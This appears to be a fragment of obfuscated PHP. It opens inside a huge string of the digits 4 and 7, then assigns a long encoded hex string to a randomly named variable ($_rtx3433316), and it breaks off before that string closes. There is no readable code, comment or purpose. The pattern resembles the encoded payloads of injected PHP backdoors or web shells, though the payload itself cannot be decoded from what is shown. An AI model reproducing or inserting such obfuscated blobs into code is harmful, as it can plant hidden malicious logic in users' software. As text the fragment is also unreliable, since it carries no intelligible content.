4444444444444444444447444444474447444444444444444444444444444744444444444444444444444444474447444444444444444744444444444444444444444444474444444744444444444444444444444744444444444444474444444744474447444444444447444444444447444744444444444444474444444444444447444744444444444444444447444444444447444744474447444444444444444444444444444444444444444444444447444444444444444744474444444444444444444444474444444444444444444444474444444444444444444744444447444444474444444444474447444444474444444744474444444744474444444444474444444444444447444444474444444444474444444444474444444744474444444744444444444744444447444444474444444444444444444444474444444444444444444444444444444444474444444444474444444444444444444444444447444444444444444744444447444744474447444444444447444444444444444444444444444444474444444744444444444444444444444744474444444444444447444744444444444444444447444444444444444444444444444444444444444444444444444444474444444444444444444444474444444444444444444744474444444444444444444744444447444444444447444744444447444444444447444444444444444744474444444744444444444744444444444744474447444444444444444444444444444744474444444744444444444444444444444444474444444444474444444444474444444444444447444744474444444744474447444744474444444444444444444444474444444744444444444744474444444444444447444444474444444444444447444744474444444744444447444444444447444444444444444444444447444444444444444444444444444444444444444744444444444444474444444444444444444444474444444444444444444444444447444744444444444444444444444444444447444444444444444444444444444444474447444444444447444444474444444444444444444444444444444444444447444744474444444744444444444744444444444444444444444744444444444444444447444444444444444444474444444744444444444444444447444444444444444744474444444444474447444444444447444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444474447444744444444444744474444444444444444444444444444444744444447444444444444444444444447444444474444444444444444444444444447444744444444444444444444444444444447444444444444444444444444444444474444444444444444444444474444444744444444444744444444444444444444444444444444444744444444444744474444444744474444444444444444444444444444444444474444444444444447444444444444444444474444444444444447444444474447444444444444444444444444444744444444444444444447444744444444444444444444444444444444444444444447444444474447444444474444444444444444444744444444444444444444444744444444444744474444444744444444444444474444444444444444444744444447444744444444444744444444444444444447444444444444444744444447444444444447444444444447444444444444444444474444444744444444444444444444444444444444444444444444444444444447444444444447444444474447444444474444444444444447444444474444444744444444444444444444444444444444444444444447444444444444444444474444444444444444444444474444444444474444444444474444444444474447444444474444444444444444444444444444444744474444444444474444444444474444444444474444444444444444444744474444444444444447444444474447444744444447444444474444444444474447444744474444444444444447444744444444444444474444444444444444444444474444444444444444444744444444444444444444444444444447444744444444444444444447444444444447444744444444444444474447444444444444444444444447444444444447444744474447444444444447444444444447444444474444444444444447444444444444444744444444444444444447444444444447444444474447444444474444444744444444444744444447444444474444444444444444444444474447444444444444444444474444444444474447444744474444444444444444444444444444444444444444444444444444444744444447444444444447444444444444444444474447444444474444444444444444444444444444444444444444444444444444444744444444444744444447444444444447444444444444444744444444444444444444444444444444444444474447444744444444444444474447444444444444444444474444444444444447444444444444444444444444444444444447444444444444444744474444444444474444444444444444444444474444444444474444444444474444444444444444444744444447444444474444444444444447444444444447444444444444444444444444444444444444444444444444444744474447444744444444444444444444444444474444444444444444444444444444444444444444444744444444444444444444444444444444444744444447444444474444444744474444444444444447444444444444444744444447444444444444444444444444444444474444444744444444444444444444444444444444444444474444444744444444444444444444444744474444444444444444444444444447444744444444444444444444444744444447444444444444444744444444444444444447444444444444444444474447444444444444444744474447444444444447444444444444444744444444444444444444444444444447444444444444444444474444444744444444444444444444444744474444444444474444444444444444444744474447444444444444444444474444444444444444444444444444444444444444444444444447444444474444444444444444444444444444444444474447444444444444444744444444444444444444444744444447444444444447444444444447444744444447444744444444444744444444444444444444444444444444444444444444444444444447444444444447444444444447444444474447444744474444444444474447444444444444444444444444444444474444444744444444444444474444444744474444444744444444444744444444444444444447444744444447444444444447444744474444444444444444444744444444444444444444444444444444444744444447444444444444444444474447444744444447444444444444444444444444444444444444444744474444444444474444444444444447444744444447444444444444444744444444444444474444444444444444444444474444444444474444444744444444444444444447444744444447444444474447444744444444444444444444444744444444444444474444444444474447444444474444444444444447444444444444444444444444444744444444444444474447444444474444444444444444444444444447444444444444444444444444444444474444444444444447444444474444444444444444444444474444444444474447444444444444444444474444444744444447444444444444444744474447444444444444444744444444444444444444444444444447444744444444444744444444444444444444444444444444444744444444444444444444444444444447444444444444444744474447444444444444444444474444444744444444444444444444444444444447444444444447444444474447444744444444444744444444444444444444444444474444444744444447444744444447444744444447444444444447444744444447444744444444444744444444444744474444444444444444444444444447444444444444444444444444444744474444444444444447444444444444444444444447444444444447444444444444444744444444444444444444444444444444444444474444444444474444444444444444444444444444444444474444444444444444444444444447444444474444444444444444444444444444444444474444444444444444444444474444444444444447444744474444444444444447444444444444444444444447444444474444444744444444444744444444444444474444444444444444444444444444444744474447444444444447444744444444444444444447444744444444444744444444444444444447444444444444444444474444444744444444444444474444444444444444444444444444444444444444444744444447444444444447444444474444444744444444444444444444444444444444444744444447444444474447444444444447444744444447444444444444444444444447444444474447444744444444444744444444444444444444444744444444444444444444444444444447444744444444444444444444444744444447444444444447444444474444444444444444444444444447444744444444444444474444444444444447444444444444444444444444444444474447444444474444444744444444444744444444444444474447444444444447444444474444444744444444444444444444444444444444444444444444444444444444444444444444444744444444444444444447444444444447444444474444444444474444444444444444444444444447444444444444444444444444444444444444444444474444444744444444444444444444444444444444444444444444444444474444444444444444444444444447444444444444444744444447444744474444444444444447444444444444444444444444444444444444444444444444444444444447444444474444444444444444444744444447444444444444444444474444444444474444444444444447444444474444444444444447444744444447444744444447444444474444444744444444444744444444444444444444444744474444444744444447444444444447444444474444444444444444444444444444444444444444444744444447444444474447444444444447444444444444444444444444444444444444444444474444444444444447444444474447444444474447444744444444444744444444444444474444444444444444444444444447444444444447444744474444444744444444444444474444444744444444444744444444444444444444444444444444444444444444444444474444444444474444444744444447444744444447444744444444444444444447444444444444444744444444444444444444444444474444444444444447444444444444444744444444444444444444444444474444444444444444444444444444444444474444444444474444444444444447444744444444444444474444444444444444444744444444444444444444444744474444444444474444444444444444444744474444444444474444444444444444444744444444444444444444444444444447444444444444444744474444444444444447444444444444444444474444444444444444444744474444444444444444444444474444444444444444444444444444444744444447444444474447444444444444444444474444444744444447444744444444444444474444444444444444444444474444444744474444444444444444444444474444444444444447444444474444444444474444444444444447444444444444444444444447444444444444444444444444444444444444444444444444444444444444444744474444444444444444444444444444444444474444444744474444444444444444444444474444444744474444444444474447444444444444444444444447444444444447444444444444444444444447444444444447444744444444444444444444444744444444444444474444444444444444444744444444444444444444444444444444444444444444444444474444444444444444444444444444444744444444444444444444444744444444444744444444444444474447444444444444444444474444444444444444444744444444444444444444444444444444444444444444444444474444444744444447444444444444444744474444444444444447444444444444444744444444444444444444444744444444444444444447444444444444444744444444444444474444444444444444444444444444444744444447444444444444444444474447444444474447444444444444444744444444444444474444444744474447444444474444444444474444444444444444444444444444444744444444444744444444444444444447444444444447444444474444444444444444444744444447444744474444444444474447444444444444444744444444444744444444444444444447444444444444444444444444444744444444444444474444444444444447444444444444444444474444444744444444444444474444444744444444444444474444444744444444444444444447444444444444444744444444444444444444444444444444444444444447444444444444444744444447444744474447444444474444444444444444444744474444444744444447444444474444444444444444444444444444444444444444444444474444444744474444444744444444444444444444444444444444444444444444444444444444444744444444444444444444444744444447444744444447444444444444444444444444444744474444444444444447444444444444444444444444444444474444444444444444444444474444444444474444444444444444444444444447444444444447444744474444444444444447444444444447444444444444444444444444444444444444444444444444444444474444444744474447444744474444444744474447444444444444444744444444444444444447444444444444444444444444444744444444444744474444444744474444444744444444444444474444444744444444444744444444444744444447444444444444444744444444444444474444444444444447444444444444444444444444444444444447444444444444444444444444444444444447444444444444444444444444444444444444444444444444444744474444444444444444444444474447444744444447444444444447444744444444444444444444444444444447444444444447444744444444444744444444444744444444444444444444444444444444444744444447444444444444444444444447444444444447444744444444444444444444444444444444444744444444444444444444444444444444444444474444444444474447444744474444444444444444444744444444444444444444444744474447444444444444444444444444444444474444444444444444444444474444444744444447444444444447444744444444444444444444444444444444444444444444444744444444444444444444444444444444444744444444444444444444444444444444444444444444444444474447444444444447444444474444444444474447444444474444444444444444444444444444444744474444444444474444444444444447444744444444444444444444444744444447444444444447444444444444444444474444444744474444444744444447444444444444444444444444444444444447444744444447444444444447444744474444444744444447444444444444444444474447444744444444444444474444444444444444444444444444444444444447444444474444444744474444444444444444444744444444444444444444444744444444444444444444444444474447444444474444444444474444444744444444444444444444444744444444444444444447444444474447444744474447444444444444444444444444444444444444444444444444444444444444444444444447444744474444444744444444444444444444444744444444444444474444444444444447444444444444444444444444444444444444444444474444444444444444444444474444444444444444444444444447444444444444444444444444444444474444444444444444444744444444444444444444444444474444444444474444444444444444444444444444444744444444444444474444444444474444444444444444444444444444444444444444444444444444444444474444444744444444444744444444444744444444444444474444444744474444444744474447444444444444444444444447444744444447444744444444444444444444444444444444444444474444444744444444444744474444444444474447444444444447444444444444444444474447444444444444444444444444444444444447444744444447444744444444444444444444444744444444444444474444444744444444444444444444444444444447444444444447444444474444444444474447444744444447444744474444444444444444444744444447444444444444444444444447444444444447444744474444444444444447444444444444444444444447444444444444444444444444444744444444444444444444444444474447444444474444444444444447444444444447444744444444444444444444444744444447444444444444444744444444444744444444444444444447444444444447444744444447444744444444444444474447444444474444444744444444444444444444444444444447444744444444444744444444444744444444444744444444444444444447444444474444444444474447444444474444444444444447444444474447444444444444444444444444444444444444444444474444444744444447444444444447444744444447444444444447444444444444444744444444444744444444444744444447444444444444444444444444444744474444444444444444444444444447444444444447444444444444444744444444444744444444444744444444444444444444444744444444444444444444444444444444444444444447444444444447444744474444444444444447444744444444444444444444444444444447444444474444444444444444444444474447444444474444444744444447444444444444444444444447444444444444444744474444444744444444444444444444444444444444444444444444444444444444444444444447444444444444444444444444444444474444444744444447444444444444444444444444444444444444444444444444444444474444444444444444444444444447444744474447444444444444444444474447444744474444444744444447444444444447444444444444444444444447444744444444444444444444444444474444444444444447444444444444444444444447444444444444444444474444444444474444444444444444444444474447444444474447444444474444444444444444444444474444444444474444444444474447444744474444444444444447444744444444444444444444444444444447444444444444444444444444444744444444444444444447444444444444444444444444444444474444444444474444444444444444444444474444444744474444444444474444444444444447444444444444444444444447444444444444444444444444444444444444444444444444444444474444444444474447444444444444444444474447444444444447444444474447444444444444444444444444444444444447444744444444444444444444444444474444444444444444444444444444444444444444444744444444444444444447444744444444444444444444444444474444444744444444444444444444444744444444444444444444444444444444444444444444444744474447444444444447444744444444444444444444444444444444444444474444444444444444444744474444444444444444444744444444444444474444444744474444444444444444444444444444444444444447444444444447444444444444444444444444444444444444444444444444444444474444444744444447444744474447444444444444444444474444444444444444444444444447444444444447444744444447444744444444444444474444444444474447444444444444444444444444444444444444444744474444444444444444444444474444444444444444444444444444444744444444444744474444444744444444444744444444444444444444444744474447444444444444444744474444444444444447444444474444444444474447444444444447444444444447444744474444444444444444444744474444444444444447444444444444444444444444444744444444444444474447444744444444444444444447444444474444444444474444444444444444444444474444444444444444444444444444444444444444444744444444444744444447444444444447444744474444444444444444444444444444444444444444444444444447444444474444444444444444444444444444444444444444444744444444444444444447444744474444444444474444444444474447444444474444444444444444444444444444444444474444444744444447444444444447444744444447444444444447444744444447444744474444444744444444444444474444444744444444444444474447444444474447444744444447444444444447444744474447444444474447444744474444444444444444444744444444444744444444444444444444444444444444444744444444444444444444444744474444444444444444444444474447444444444444444444474447444444444444444744444444444444444444444444444444444744444444444744444447444444444444444444444447444744474444444744444447444444444444444444444444444444444444444444444444444744444447444744474444444444444447444444444444444744444444444444444444444744444444444444444447444444444444444444444447444444444444444444474447444444444444444444444444444744474447444744444447444444444444444444474444444744444447444444444444444744444447444444474444444444444444444444444447444444444447444444444444444444444444444744474444444444444447444744444444444744444444444444444444444444474444444444474444444744444447444444474444444744444444444444444444444444444444444444474444444444474444444444444447444444444447444444444444444444444444444744444447444444474447444744444444444744444444444444444444444444444444444744444447444744444447444444444444444744444447444444444447444444474444444444444447444744474444444744444444444444444447444744444444444744444444444444444444444444444447444444444444444744444444444444444444444444444444444744444444444744444447444444444444444444444444444444474444444444444444444444444447444744444444444444444444444444474444444444444447444444444444444444444447444744474444444444444444444444444444444444444447444444444447444744444444444444474447444444474447444744474447444444474444444444444444444444444444444744444444444444444444444744444444444444444444444444444444444444474444444444444447444444444444444444474444444744444444444444474444444444474447444744444444444744444444444744474444444444474444444444444447444744474444444444444444444444444444444744444444444744444444444444474444444744444447444444444444444444444444444444474444444744444447444744444447444444444444444444444444444444444444444444444444444444444447444444444444444444444444444444474447444444444444444744444444444744474444444744474447444744474447444444444444444444444444444444444444444444474447444444444444444444444444444444474447444744444447444444474444444444444444444444444447444444474447444444474444444444444444444444474444444444444444444444444444444444444444444444444444444444444444444444444444444444474444444744444447444744444444444444474444444444444447444444444444444444444444444744444444444744444447444444444444444444444447444444444444444444444447444444474444444744474444444444444447444744474444444444444444444444444444444444444444444744444444444444474447444444444447444744444444444744444444444444444444444444474444444744444444444744444447444444444447444444444447444444474444444444444447444444444444444444474444444744474447444444474444444444474444444444474444444744474447444444444444444744444444444444474444444444444444444444444444444444474447444444444444444744474444444444444444444744444444444444444447444444444444444444444444444744444444444444444444444744444444444444474444444444444447444444444447444444474444444444444444444444444447444444444444444444474444444444444444444444444444444444444444444444474444444744444444444744444447444444474447444444474444444444444444444444474444444444444447444444444444444444444444444444474447444444444444444744444444444444474444444444474444444444444444444744444444444444444447444444444444444744474444444444474444444444444444444444444447444444474444444744444447444744474447444444444444444444474447444444444447444444474447444444474447444444474444444444474444444444474447444444474444444744444444444444474444444444474444444444444447444444444444444444444444444444474444444444474444444744474447444744474447444444444444444444474444444744474444444744444444444444444447444744444444444444474447444444444444444444444444444444474444444444474444444444444447444744444444444444444444444744444444444444444444444444444444444444474444444444444444444444444444444444474444444444444444444744474444444744444447444444444444444744444444444444444444444444444444444444444444444444444444444444474447444744444447444444444444444444444444444444444447444744444444444444444444444444444444444744444444444744444444444444444444444444444444444444444444444744444447444444444444444444474444444744444444444444444444444444474444444444444444444444444447444444444444444744444444444444444444444744444444444444444444444744474447444444474444444744444444444444444444444744444447444744474444444444444444444444474447444744444444444444444447444444444444444444444444444744474444444444444444444444474444444744444444444444444444444744444447444744444444444444444444444444474444444744444444444444474444444444444447444444444447444444444447444444444444444444444447444444444447444744444444444444474444444444444444444744474444444744444447444444444447444444474444444444474447444744474444444444474444444444444447444444474447444444444444444444444444444444474444444444444444444444474444444444474444444444444444444444474447444744444447444444444444444744444444444744474444444444444444444444444444444444444444444444444444444444444447444444474444444744444444444444444444444444444444444444444444444744474444444444444447444444444444444744444444444444474444444444444444444444444444444444474444444444444447444444474444444444444444444444444447444444444444444444444444444744444444444444444444444444444444444444444447444444474444444444444444444444444444444444444444444444474447444444444444444444444444444444444444444444474444444744444447444444444444444444444444444444474444444444444447444744444444444444444444444444444444444444444444444444474444444444474447444444474447444444444444444444474444444444444444444744444444444444444447444744444444444444474444444444444444444744444444444444444444444444474444444444474444444444444444444444474444444744444444444444474444444444444444444444444447444444474444444444474444444444444444444744474447444444474447444444444444444744444444444444474444444444444444444744444444444744444447444444444444444444444447444444444447444444474444444444444444444444444447444444444444444444444444444444444444444444444444444444444444444444474444444444444444444444474447444444444447444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444447444444444444444444444447444444444447444444444444444444444447444744444444444744474444444744474447444444444444444744444444444444444444444444474444444444444447444444474444444444444444444744474447444444444444444444474444444444444444444444444444444744444444444444444447444444474444444744444444444744444447444744444444444444444444444444444447444444444444444744444444444444444447444444474444444444474444444444444444444444474444444444444447444744444447444444474444444744474447444444444447444444444444444444474444444744444447444444444444444444444444444744444444444444474444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444474444444444474444444744474447444444474447444744444447444444444444444444474444444744444444444444444444444444444444444444474447444444444444444444474444444744444447444744444444444444444444444444444444444744444444444444474444444744474444444444444447444744444444444444474444444444444447444444444444444444444444444444444444444744444444444444444444444444444444444444474444444444444447444444444444444444444447444444474447444444444444444444444447444444444444444444474447444744444447444444444444444444444447444444444444444444474444444744474444444444444444444444444444444444444444444744474447444444444447444744444444444744444444444444444447444444444444444444444444444444444447444444444447444444444447444444444444444744444444444444444447444444444444444444474447444444444444444444474444444444444444444444444444444444444444444444474444444744474447444744444447444444444444444444444444444444474444444444444444444744474444444444444444444744474444444444444447444444444447444744444444444744444444444444444444444444444447444744444444444444444444444744444444444444444447444444444444444444444444444444444447444444444447444744474447444444474447444444444444444744444444444744474447444444444447444744444447444444474447444444444444444744444444444444444444444444474447444444444444444744444447444444444444444444474444444444444444444444444444444444444444444444444444444444474444444744444444444444444447444444444447444444444447444444444444444444444447444744444444444444444444444444444444444744444444444444474444444744444444444444444447444444474447444444474447444444474447444444444444444444444447444744444444444744444444444444444444444444444444444744474447444744474444444444444444444744444444444444444444444444474444444744444447444444444444444444474444444444444447444444444444444444474447444744444444444444444444444444444444444744444444444744474444444444444447444444444447444744444444444444444444444444444444444444474444444444444444444444444444444744474447444444444447444444444447444444474444444444444444444444474447444444444444444444444444444444474444444444444444444744444444444444444444444444444447444444444444444444444444444444444444444444444447444444444444444444474444444744444444444444444444444744444444444444444444444444474444444444444447444444444447444444444444444444444447444444444447444444444447444744444444444444444444444444444444444444444444444444444444444444444447444444444447444444444444444444444444444444444444444744444444444744444444444444474444444444444444444444444447444444444444444744474447444444444444444444444444444444444444444444444444444444474447444744444444444744474444444744444444444444444444444444444447444444444447444744444444444444444447444444474444444744444444444444474444444744444447444444444444444444444444444444444444444444474444444444444444444444444447444444444444444444444444444444444444444444474444444444444444444444444447444444444444444744444447444444444447444744444444444444444447444444474447444744474444444744444447444744444444444744444444444444444444444444444447444744444444444444474447444444474444444444474447444444444444444444444444444444444444444444444444444444444447444444474444444444474444444444474444444744444447444444474444444744474447444444474444444444444444444444444447444744444444444444474444444744444444444444474444444744474444444744444447444444474447444744474444444444444447444744444444444444444444444444444447444444444444444444444444444444444447444444474447444444444447444444444444444444444447444744444444444444444444444444474444444444444444444444444444444444444444444744444447444444444444444444474444444744444447444744444444444444444444444444444444444744444444444444474447444444444447444444444444444444474444444744444444444744444447444444444444444444444444444744444444444444444444444444474444444744444444444744444444444444474444444744474444444444444444444444444444444444474444444444444444444444444444444444444447444444444447444444474444444444474447444744444444444444474444444444444444444444444444444444444444444444444447444444444447444444444447444444444444444444474447444444444447444744444444444744444444444444474444444744444444444744444444444744444444444444444444444744474444444744474444444444444447444444474444444444444444444744474444444744444447444744444447444444444447444444444444444444444444444744474444444444444444444444444444444744444444444444474444444444444447444444444447444444444444444444474444444444474444444444474444444444444444444444444444444744444444444744474444444444474447444444444444444444444447444444444444444444444447444744444447444444444447444444444444444444444447444744444444444444444444444444444447444444444447444744444447444444444444444444444444444744444444444444444447444744444444444444444444444444444444444444474444444444474444444744474444444444444444444744444447444744444444444444474444444444444444444744474444444444444444444444444447444444444447444744444447444444474447444444444447444444474444444444474447444444474444444444444447444744444444444444444444444444444447444744444447444744444447444444444444444444444444444744444447444444444447444744444447444744474444444444444444444444474444444744474444444444444444444444444444444444444444444444444444444744444447444744444444444444474444444444444444444744444444444744474444444444444444444444474444444444444444444744474447444444474444444744444444444444444444444444474447444744444444444444444444444444444444444744474444444444444444444444444444444444444444444444474447444444474444444444444447444444444447444444474444444444444447444444444447444744444444444444474447444444474444444444444447444444444447444744444444444744444444444444444447444444444444444444444444444444474444444444444444444444444447444444444444444444444444444444474444444444474447444444444444444444444447444744444444444444474444444444444444444744444444444444444444444444444444444444444447444744444447444444474447444444474444444444444444444444444447444444444444444744444444444744444444444444444447444444474447444444444444444744444444444744444444444444444447444444474447444444444447444444444444444744444447444444444444444444444447444744444444444444474444444444444444444444444444444444444444444444444447444444444444444444444444444744474444444444474444444444444447444444444444444444444444444444474444444444444444444744444444444444444444444444474447444444444444444744444444444444444447444444474444444744474444444744474447444744474447444744474447444444444444444444474444444744444444444744444447444744474447444744474447444744474444444444444444444744474447444444444447444444474447444744474447444744474447444744444444444444447c4744434244";
        $_rtx3433316 = "48434248484542454345454543454644454647434248474448444a48474841434646464447444544454342484a4847454845454843454344424542444447464748434348444342444743484442454247464348434945494342444a434545424746434843494844444643434844484a4447484647494545434a444a4749444a4748434348444447454a4846474948474447434345484741444748464447484a43424843454a484a454843484349434945484545484448454548454543494443434a4843484548454548434844424846434a434348454443434a434848444546444743484547444a434a484344474844454a4846474948464548444a4749444a474843434844444a45434846474948474447434345484741434a444a474648464447434847484342434a434847484842434a444a47494845474643434844444845434846474948474447434345484741444748464343474145444844454348414348444644464342444544444446484747494842484a43494548474143434543474145484642444645424445484245424446434a4841434a4543454a4342474648454849484247414742444444434342484248444747484a444348464446474747484443444243494845484247444846434548414343454747424444474448424846454245494845474148444342444745434343444647484746454947464746444244464446484247464642434744434543464644454448454243494844454748484547444245424443484545424845454143424749444a4344474243444447474348494647474843424846474348434446474147494646444346474742464244434542454a484544474548434348494446444a4444454944464347484444434447454948424344444444484844454244464843444a444447414749444745414345444647494842444343444846444543474342484a4549454344464543434544444842464243474744444644434745484548444547484244434446444947474842434246424545444444434343434a4547454943434841484347484549474144454841454645494647434845414647484546464449464748484543474945494548474145474446454245444447434844494348454a454144494346464248424445464644424744454a47434548434348454444434848484448454248434344474648474842444a4843454248484846434a4342484545494443434648494741444447474742484947484345484347454842454543444842484748454546444248444842434347474646484246464449484747474746484a454a47414545484844424443454543454848434648454749444a48434448484a4849434a4345444344434843474344454541484248464542484444464549454548474849444747454543484646474449484846424343444844474448444644434447444545454845444344434842484843464443474244434447444a4749434a4742444a434547414749444448484342454144474742444748454843454347434848474544474846484445424343464647444547484644484344444447464745444a44444845474447424741444545424444484848444349444a4748484744444349434448424543434848464647474948464342484645424746434544434445474245494745434343474847434247424543454348434842434a454848414344444543474847454143454746434644484442434244464344444a44454344484943494442444748434543484744454445474344434548454243424746454648424845444648454445464746424342484648474748484147434344434544474848474644454546474348474447484647414746474145454342444944434744474345434543434a4741454a44494542484a454347484745454445494342484243464546434746464647484248424843474744474841454448484544444747434342444447414546484845424647444748414542484643424342444845484746444648434346484447474844434243424445484a4443434247414545444645454843474847424448434547444542474644434545454444484844454248434549484444464546484443484445444a484645444443434347494444444744474543454748454446434843474843434944464742484145434647474444484444484645434344474648484741454248464543454248434541454144494444454a43494546454a4844444644434548484544444747444548494842454645474647474244464747484545494847434648444842474344454541434446424745434544424447474448434348464248444646444545454746484448484743444348444345474145414642484545424347454247464445454a43434342484243434442484348464843434a484447484843444747424346484a4848484a48464446434346464342434948464542454347484846484448464842454943464545474543464845434748444549484a484744484542444648464841454848424444484a4747444748424547444745434647434a4542444943464742434244464442474447464444474548444846464643444845484643484841434247494542474345474542434a4841454844424748484443434549454248414747454544434449484243474844434244434446444644474445454a434743424445484a4447444847484544474548424545484344444342444448424443474347444647434947434843434645434444434243494843444a474844464742474744464343484645434544454644434844474345454744444348454348444743494749454343454549484548464547474843474749454143494445484a4446474948424444444243454842454844424544474348464749434345424541434544484844474748454445484748424445444744474546444a484944424842434948454746444445454542444648424647444a47454749434343424847454945434744444a44444847444a47474549444344454849444a48424544454344464744484548454642434a444348454443434548424747434245454543454343424541454747484344474848424843434348454741464646424849474544494344454147474444444744444542484248494549444346424846464748434549444448494842474843424749474243424741484444454448474444444546434244434846454145434748484a434647444447484647474747454344474445484244464349434247494348484543464449454644474542464245434744444a45424848434348434542454a474443474348444648494445434a444447464347454444424543444a44474746484a45454843484645414843484445434844434344434749444547444748434643454542454846424541434748444741444347434342454544464748444746474746464747414443484248444348444444464741474248464846454147414446434a454447454543444a4444474645424846484245434846434645444646444444434646484448454543434944484742484345454445484a44454848444347424543484943434545474744464842454544454745484547424541434848444542474645434342434a454a444343424444444445464443484645444744454a43444444454444434542444244424348454a454248444749444344424543454a4542434348424743474145484543454345434744444a4842434348444547474544464448484944474843434245464844454a4545484144424843444646424349444645434845474248444443464245464349444943424546484544444841434a44474748454a47454842484548454442444845484349474748424541454745414542444544424841474745444846484245494343484643424446434544444741474646464347474343454546434545494446434848484543434447444846454645454846434244454544444644484844444644484843474648494542444644424743454244454542484343454843464247434844474843494844484548494646484545414343484445454841434444474743474646424845454345434544434a444944464541434548494845484547484543474548464342484248444444474443474546474244434841454943434547434847434348444544464747454343484543484545454744484545474349484144474548474945434443474448434542434347484846454944424344474146424845484a454947494442474343424342474144444442434545444447444445434346454a47494342454543434849444a484a48444446454945424845444344464448434743434442474844474443454344464549444347434546444743434447474446464445444a45414545484944434845444548414846444a434445454642474548424742484a434847414745484a45474542454448444445434a444647444545444544484844484143454844434947474349484a4545434a444a444748444344434345454842484a4845484345434347484543424349434346474845454748494446484a43434846484443494449444a434344424747434645494844484747414742454448454542464744464442454344464849444943424342434948484447434a44474342454747424349484248454446454248424846444547494642444a4342454a454647434544434848464446484a43454445444844464843454747464544454143434445484543444449484146464344434348454841484347454845444248434345474348434741484646474442454944484745434747414642484343444444484946474444454a454343424742444747464446434a444943424445484448454443454346424543444647494448454a484645494345484a46424545474343494448454246424845484245494343464643424443454147424542454845434846484943494443474443434443454544444543454a4844434444454848454448474746434344464446444943494841484644464849454746424848454245484846474443434445484a4545484844434546454243484347444947464642474545424847454443424849484544444843484344474348484a46474844474747494444444647474742454343494345454344464546484a4544434948424446484a48444743444848444542444746424845434345434842444743464445444a434845474646484244464843454248424444484947454446454347444848454548474845444a484344454447484546474343444345444543444544474748454345474544444a434346424849444a454a4444444348444646444a454844494447434847494741484744424349434844444743454a4845454a4742444a4448484a4548454a454348444443444746464342434548434346444844434446444548444844454548494342474644444549444a4546434544444542454848464343484745474544454a434745464542484847454342484543424342484a44474544454145484346444745464343444247444346454245484444434948464547464748454545444645424849484248464544484144484342434445464444454344454744474944464646484147454345444644464343474448474345454543474543434a45474445444347454343454648494543444443494544474646464448484245414642444545474845454a454247484349444848424447474545424446464245464449484844474447454347444343474644454446434a4542434245434743444644444541484945454843434a484443424845474344434746474646464749444845444844444645444746434648444443444a4743484844464541484543434542484544464346484244424543484544434847464747494842444743424344484443464443484244444844434a484444454547454947434349474745484845444a48474849484a474544454447454244434845484345434846454843424845484743434542454a4742484244474846434a48464443474844474842444344484446454343484545444344484342444a484646464343444948414847474848444843484843474744474145434848434a4741484a4845454846424546434243464444474344474747484848454844484548454647444843464344474543424543474746474844434243424846474648454846434845444845434a4543444a43434543474644434744454244424742434743444748484343434447444648444842444343494844474744474347434245424444444945414444454747414846454648464746434244434847474143454845444545424744484548434846434a444245444745454544474443444a4842434948464547444a484945434543484547454547434544464846454a4445434248444847474747494841454745494548454a484647434444484a4343444644444449444a4744484243434542434248444847484344434844454648424541474743464842444a47454442454448444743454344434841434244454342444443444642454247444542484a4841454a4348474344454844454845414342434345474746434245464445474448444344484647484543444a484548424342474547434846454347484542484845424548434a43444449444348434646444548494342484247454345464644434542444648424548434745494449474344494842484246474843484247414742484348434546474544464444484145464747464648424445434643444342434a44454547444a484545424342454243494844464647444845444248454842474648434546434a484747434542444a454348444348444344484449434845434742434a43474847434a454747414746444648474549484a48424646444a4844484143484548454245424741484347494844484a44454346444543424547484a44444642434a474446464545484548484343444447454443454546474343484645434743444548474544484a484a434a48464842454a47414742444444424443454148444343434a484a48454544434244464847454347434742454343424443484a444a484244444544444446464848484147444545434247474446444a444a4846474545424546484744454444484748454345444647494646454344454541454244444442444744444342474247464747484447494449434248454846434247434347484843444447484646474548444a4741444844434541484343454845474444454444454248484847444348464443484147484444474848454446444344464445444448454845434546424346464744424342434945434741484148434845454944434346454148454443454345434342434443474447434247494646484745424542474545434345434648454443474448484344464643484546484543484646444645494844434a43434447454345474447444648484542454944454843484545424444484448424549444a434548434741454744454344454a47414542454343434742484445494446484345424542434544424346434a4747484648494744454a474345444844464748424447444347484446454248414842484848484445484a4345484a434a47464741474246424743444643454747444344444541484a45484448454a444544454642444643464747434648494745434847454546484345494844474847424846484947414842434348444843454947424646434548424443434a454348494843484748434842484a43474642474148464443434a47444344434447474442434343464442444647494444484248414445434347484747454343424442454248454841484548494647454248464442434748494344444a4842484748424349434344444647474648474842434545474744434344444443434a4844444747494348464645414549444845454344444443454349454648454446484647434345444744454542444a48434446444745454741444648414748444345464846454247494544454144464845464243424743454648464647444244474346434644454349454545494843484248494342444346474742444844444444484a47444444434a47414443444243484845434343474345444244484542484445424444454447474747484944444647474745424841484a454a454543434544454a4349484745434444454a454a4543454748494545444745474647484a47434549484847464844484a454248424743434647494847444447434447484244434744454745424348434747454844484344484548444a4342484743454743484545494447444544454843464644434546444444474545444545444848444948414646434a43434748474348424842484445444444444244444548444446474843434747434542484943434847444a444945464447484346474446484445424542474547484847444748494846434a484544494342444a44454741434347434545484543454346444844424445484443434842444744494342484a43444843474947464342434a4443484848444543434543474348444645444844444243434349454444434444474448444449484a444a4445474843434845484544444445454645434749484246474842484246474346484a47414847464645494744434345484845464645434749444646474348454847484447434648424845484545484746484447494846434348474446444443454742434648444541454247424445444a47424447434347414443444446424646454643454545484643434446474844474449464248444846484245424449444a4343434445414348444348444741464743444744474243454744444744464745444843464445464648424348434944494545484848424842484543494345434548444448474847484447434a444345444844474748444443484644454548454843454348454744454343434544484542444745434346484a484444434544454a4342484a4343434a44484542464645464849454247424446444a444344484541444445464741484548424642464745414449434648424844434345494845454945414844444448454845474748484446454147464343444448464444434847474549484546424844454548444346444a4342454644474747484548474349444944454743434844474741474747424545434844494445474844434747484843484447454a43494342434345434442454247454546434a454246464844444344444743444543434542434546464549484a47434444434a44464741444445454842464644424843484347474442484647464342434648464746434243464846484443494347454248444743434244424444434747414642484a434247494546444744464746474448494647484348464446444648484741484744434447474948464547454343444347434344424647484547444744484543474546474448434841484a44434846434745494344484245494748454248464345454644444646444643434344484a444348464646454244484845454944454745454a48444845434645474842444448454843454548464844454a4443484347464544484a4845434a44464548484a47494844484445464845484745424349474344434442454748494541484547414845484746464647434544454345464244454647484a4448484248444847444544444449474848454349484343474443444547484547434a47494849444244434848484343454747454a484943444446444644454446454345434748444447424542484547434442444343454342434a4342454843424448464248484748484745424344444a44494544474343474846464248494543444648484748454745424745444448424541484648414647484448444348454844434544454a4749434247414844454a4449444445434542484343444544444743424747434545